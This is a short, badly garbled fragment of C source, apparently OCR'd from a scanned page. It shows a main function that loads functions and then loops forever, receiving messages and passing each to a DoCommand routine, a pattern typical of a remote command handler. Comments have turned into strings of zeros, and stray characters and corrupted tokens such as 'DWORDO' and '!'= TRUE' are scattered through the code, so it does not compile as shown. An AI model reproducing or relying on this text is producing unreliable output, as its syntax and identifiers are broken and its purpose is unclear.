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// min000000
void main()

{

U char Message[1024] ;

0 DWORDO dwThreadld;

O DWORDO NumberOfBytesWritten;

O// 0000000
O if (LoadFunction() !'= TRUE) {
0O O return;

}

// 00000000000 O0min00000DOO0O0O
//CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReceiveCUIThread, NULL, O, &dwThreadld);

// 000000

while (1) {

O memset(Message, 0x00, sizeof(Message));
0 Recv(Message, sizeof(Message));

E DoCommand(Message) ;
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